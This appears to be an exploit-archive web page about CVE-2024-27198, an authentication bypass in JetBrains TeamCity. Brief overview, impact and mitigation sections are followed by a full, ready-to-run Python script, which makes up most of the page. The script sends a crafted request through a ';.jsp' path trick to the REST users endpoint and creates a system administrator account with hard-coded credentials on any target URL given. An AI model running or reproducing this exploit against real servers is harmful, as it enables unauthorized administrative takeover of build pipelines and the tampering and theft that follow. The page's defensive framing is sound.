Skip to main content

JetBrains TeamCity 2023.11.4 – Authentication Bypass

Categories: WebApps

Overview

The recently identified vulnerability in JetBrains TeamCity, designated as CVE-2024-27198, pertains to an authentication bypass issue in version 2023.11.4. This flaw allows unauthorized users to gain access to sensitive functionalities without proper authentication, posing significant risks to the integrity and confidentiality of the system.

Technical Details

This vulnerability arises from inadequate validation mechanisms in the authentication process of TeamCity. Specifically, it exploits certain endpoints that do not sufficiently verify user credentials, enabling attackers to bypass authentication measures. By crafting specific requests, an adversary can interact with the system as if they were an authenticated user, potentially executing administrative commands and accessing restricted data.

For instance, an attacker could leverage this flaw by crafting HTTP requests that mimic legitimate authenticated actions. If successful, they could manipulate build configurations or access sensitive project information without ever providing valid credentials, thus compromising the overall security posture of the environment.

Impact

The implications of CVE-2024-27198 are severe. Unauthorized access can lead to data leakage, manipulation of build processes, and even the introduction of malicious code into production environments. Organizations relying on TeamCity for CI/CD pipelines may face significant operational disruptions, financial losses, and reputational damage if this vulnerability is exploited.

Mitigation

To safeguard against CVE-2024-27198, it is imperative for organizations to immediately update their JetBrains TeamCity installations to the latest version, which includes patches that address this authentication bypass vulnerability. Regularly reviewing and applying security updates is crucial in maintaining a robust security posture.

Additionally, security professionals should implement network segmentation and strict firewall rules to limit access to TeamCity instances. Employing multi-factor authentication (MFA) can further enhance security, ensuring that even if credentials are compromised, unauthorized access is still mitigated. Regular security audits and vulnerability assessments should be conducted to identify and remediate any potential weaknesses in the system.

Proof of Concept (PoC)

poc.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass
# Date: 2024-02-21
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://www.jetbrains.com/teamcity/
# Version: < 2023.11.4
# CVE: CVE-2024-27198
# CVSS Score: 9.8 (Critical)
# Description:
# JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass
# vulnerability that allows unauthenticated attackers to perform administrative actions.
# The vulnerability leverages a path traversal-like technique in the JSP handling
# mechanism combined with REST API endpoints to bypass authentication.
# Requirements: requests>=2.25.1
"""

import requests
import argparse
import sys
import json
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

class Colors:
    RED = '33[91m'
    GREEN = '33[92m'
    YELLOW = '33[93m'
    BLUE = '33[94m'
    CYAN = '33[96m'
    BOLD = '33[1m'
    END = '33[0m'

banner = f"""{Colors.CYAN}
 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—
 β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘β•šβ•β•β–ˆβ–ˆβ•”β•β•β•β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•
    β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘    β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• 
    β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘     β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘     β•šβ–ˆβ–ˆβ•”β•  
    β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘      β–ˆβ–ˆβ•‘   
    β•šβ•β•   β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β• β•šβ•β•β•β•β•β•β•šβ•β•   β•šβ•β•      β•šβ•β•   
{Colors.END}
{Colors.BOLD}{Colors.RED}    TeamCity Authentication Bypass (CVE-2024-27198){Colors.END}
{Colors.YELLOW}                Author: ibrahimsql{Colors.END}
"""

parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)")
parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL")
parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)")
parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")
args = parser.parse_args()

class TeamCityExploit:
    def __init__(self, target_url, timeout=15, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        
    def _log(self, message, level="info"):
        if level == "success":
            print(f"{Colors.GREEN}[+] {message}{Colors.END}")
        elif level == "error":
            print(f"{Colors.RED}[-] {message}{Colors.END}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!] {message}{Colors.END}")
        elif level == "info":
            print(f"{Colors.BLUE}[*] {message}{Colors.END}")
        elif level == "verbose" and self.verbose:
            print(f"[DEBUG] {message}")
            
    def check_target_reachability(self):
        try:
            self._log(f"Checking target: {self.target_url}")
            response = self.session.get(self.target_url, verify=False, timeout=self.timeout)
            
            if response.status_code in [200, 302, 401, 403]:
                self._log("Target is reachable", "success")
                return True
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Connection timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False
    
    def exploit_authentication_bypass(self):
        exploit_path = "/idontexist?jsp=/app/rest/users;.jsp"
        full_url = f"{self.target_url}{exploit_path}"
        
        self._log(f"Targeting: {full_url}")
        
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Accept": "application/json, text/plain, */*"
        }
        
        payload = {
            "username": "ibrahimsql",
            "password": "ibrahimsql",
            "email": "[email protected]",
            "roles": {
                "role": [{
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }]
            }
        }
        
        self._log(f"Payload: {json.dumps(payload)}", "verbose")
    
        try:
            self._log("Attempting authentication bypass...")
            
            response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout)
            
            self._log(f"Status: {response.status_code}", "verbose")
            self._log(f"Response: {response.text[:200]}", "verbose")
            
            if response.status_code == 200:
                self._log("Exploit successful!", "success")
                
                print(f"n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql")
                print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html")
                print(f"{Colors.CYAN}{'='*50}{Colors.END}")
                
                return True
                
            elif response.status_code == 401:
                self._log("Authentication required - target may be patched", "error")
                return False
            elif response.status_code == 404:
                self._log("Endpoint not found - target may be patched", "error")
                return False
            elif response.status_code == 403:
                self._log("Access forbidden", "error")
                return False
            else:
                self._log(f"Unexpected status: {response.status_code}", "error")
                return False
                
        except requests.exceptions.Timeout:
            self._log("Request timeout", "error")
            return False
        except requests.exceptions.ConnectionError:
            self._log("Connection error", "error")
            return False
        except Exception as e:
            self._log(f"Error: {str(e)}", "error")
            return False

def validate_url(url):
    try:
        parsed = urlparse(url)
        if not parsed.scheme:
            url = f"http://{url}"
            parsed = urlparse(url)
        
        if parsed.scheme not in ['http', 'https']:
            raise ValueError("URL must use HTTP or HTTPS")
            
        if not parsed.netloc:
            raise ValueError("Invalid URL format")
            
        return url
    except Exception as e:
        raise ValueError(f"Invalid URL: {str(e)}")

def main():
    print(banner)
    
    try:
        target_url = validate_url(args.url)
        
        print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}")
        print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql")
        print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}")
        print(f"{Colors.CYAN}{'='*45}{Colors.END}n")
        
        exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose)
        
        if not exploit.check_target_reachability():
            exploit._log("Cannot reach target", "error")
            sys.exit(1)
        
        success = exploit.exploit_authentication_bypass()
        
        if success:
            exploit._log("Exploit completed!", "success")
            sys.exit(0)
        else:
            exploit._log("Exploit failed", "error")
            sys.exit(1)
            
    except ValueError as e:
        print(f"{Colors.RED}[-] {str(e)}{Colors.END}")
        sys.exit(1)
    except KeyboardInterrupt:
        print(f"n{Colors.YELLOW}[!] Interrupted{Colors.END}")
        sys.exit(1)
    except Exception as e:
        print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...